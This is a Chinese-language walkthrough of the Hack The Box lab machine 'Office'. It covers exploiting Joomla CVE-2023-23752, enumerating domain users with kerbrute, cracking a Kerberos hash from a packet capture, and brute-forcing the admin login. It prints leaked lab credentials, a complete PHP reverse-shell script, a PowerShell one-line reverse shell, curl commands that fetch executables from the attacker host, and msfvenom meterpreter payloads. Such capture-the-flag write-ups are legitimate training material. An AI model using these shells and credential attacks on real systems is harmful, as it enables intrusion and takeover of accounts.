office

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
┌──(root㉿leewolf)-[~]
└─# nmap -sV -A -T5 10.10.11.3
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-21 12:08 EST
Nmap scan report for 10.10.11.3
Host is up (0.087s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after: 2024-05-09T12:36:58
443/tcp open ssl/http Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
| tls-alpn:
|_ http/1.1
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after: 2024-05-09T12:36:58
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after: 2024-05-09T12:36:58
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after: 2024-05-09T12:36:58
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (86%)
Aggressive OS guesses: Microsoft Windows Server 2022 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: DC, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-02-22T01:09:31
|_ start_date: N/A
|_clock-skew: 7h59m58s

TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 88.05 ms 10.10.14.1
2 88.42 ms 10.10.11.3

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.92 seconds

robots.txt发现以下内容

robots

发现是一个Joomla的登录界面

使用默认用户名admin尝试登陆,进入不了。使用命令

1
joomscan --url http://10.10.11.3

如图,版本是4.2.7的版本,存在Joomla未授权访问漏洞(CVE-2023-23752)
利用方式为直接访问/api/index.php/v1/config/application?public=true

泄露用户名密码root/H0lOgrams4reTakIng0Ver754!

靶机没有开放ssh端口,表示此处密码不能用于22端口,但是开放了445端口,或许这里是一个利用点

1
2
3
┌──(root㉿leewolf)-[~]
└─# smbclient //10.10.11.3/ -U root%H0lOgrams4reTakIng0Ver754!
Password for [WORKGROUP\root]:

发现账户密码错误
因为是Windows主机所以需要使用kerbrute进行域名爆破,密码本是seclists工具的xato-net-10-million-usernames.txt密码本

SecLists 是安全测试人员的伴侣。它是安全评估期间使用的多种类型列表的集合,收集在一个位置。列表类型包括用户名、密码、URL、敏感数据模式、模糊测试有效负载、Web shell 等等。目标是使安全测试人员能够将此存储库拉到新的测试框中,并可以访问可能需要的每种类型的列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿leewolf)-[~]
└─# seclists -h

> seclists ~ Collection of multiple types of security lists

/usr/share/seclists
|-- Discovery
|-- Fuzzing
|-- IOCs
|-- Miscellaneous
|-- Passwords
|-- Pattern-Matching
|-- Payloads
|-- Usernames
`-- Web-Shells
┌──(root㉿leewolf)-[/usr/share/seclists]
└─#
1
2
3
┌──(root㉿leewolf)-[/home/lee/Desktop/HTB]
└─# ./kerbrute userenum --dc 10.10.11.3 -d office.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

一个个测试发现dwolfe可以登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿leewolf)-[/usr/share/seclists]
└─# smbclient -L //10.10.11.3/ -U dwolfe%H0lOgrams4reTakIng0Ver754!


Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SOC Analysis Disk
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.3 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
1
2
┌──(root㉿leewolf)-[/home/lee/Desktop/HTB]
└─# smbclient //10.10.11.3/SOC\ Analysis -U dwolfe%H0lOgrams4reTakIng0Ver754!

发现有一个流量包,get到本地

经过分析,未发现异常流量,发现有kerberos协议,

首先能够注意到,流量包中的加密模式为18,并且wireshark告诉我们为SHA-256,在https://hashcat.net/wiki/doku.php?id=example_hashes 中,我们能看到能够破解Kerberos的方式为7500,但是7500模式中的加密模式为23而并非18,继续查找,发现19900模式同样能够破解Kerberos,并且加密模式正好是18,但是19900模式仅在beta模式中存在,下载链接为https://hashcat.net/beta/

1
hashcat.exe -m 19900 "$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc" rockyou.txt

只能在windows中破解以后在解决,如果要再次破解,注意删除日志文件

1
2
$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a37                                                                                                         
765386f5fc:playboy69

我们在密文之前传入的其他文本($krb5pa$18$tstark$OFFICE.HTB)是hashcat要使用的参数列表,使用$符号分隔,前两个只是该哈希类型的hashcat格式的一部分
Krb5pa表示kerberos5预身份验证,18表示kerberos加密类型18(AES-256),tstark表示用户名,可以在流量包中的其他位置找到,OFFICE.HTB表示域名,同样可以在流量包中的其他位置找到,均在上图中标注出来

ps:注意复制完整的cipher在copy as a hex stream
这里的格式是 -m 破解模式 ,根据etype值在网站中查询https://hashcat.net/wiki/doku.php?id=example_hashes破解的方式Kerberos 5, etype 18, Pre-Auth此满足,所以是19900

破解出来的密码在原字符串的末尾,为:playboy69

回到joomla的登录界面,尝试使用tstark/playboy69登录,发现还是不能登录,将playboy69作为定量,使用burpsuite进行爆破,结果爆破出用户名为administrator(-_-||)

如图就登录到了网站后台
发现system->site Templates能够修改主页代码
直接将error.php的界面改为一段反弹shell的代码

这里放一段phpshell反弹代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
$this->os = 'LINUX';
$this->shell = 'cmd';
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
} else if (posix_setsid() < 0) {
// once daemonized you will actually no longer see the script's dump
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
$data = str_replace('<', '&lt;', $data);
$data = str_replace('>', '&gt;', $data);
echo $data;
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$fstat = fstat($input);
$size = $fstat['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();

// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}

// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------

foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------

fclose($socket);
}
// ------ SOCKET END ------

}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.14.97', 9801);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

不知道为啥反弹不了,所以我是修改模板里面新创建一个phpshell文件,进行反弹的,是下面哪一个,cmd的反弹

然后在php页面进行一个powershell反弹

1
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.97',9802);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

1
2
3
4
5
6
powershell curl -o "qe.exe" "http://10.10.14.97:9000/test.exe"

powershell curl -o "RunasCs.exe" "http://10.10.14.97:9000/RunasCs.exe"

run.exe tstark playboy69 shell.exe

1
2
3
4
5
6
7
8
9
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.97 lport=9803 -f exe >shell.exe

msfconsole

use exploit/multi/handler


set payload windows/meterpreter/reverse_tcp #修改成我们之前生成木马时使用的payload
run

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.97 lport=9803 -f exe -o test.exe #lhost是我们的主机ip,lport是我们主机的用于监听的端口

生成的木马没有反弹shell。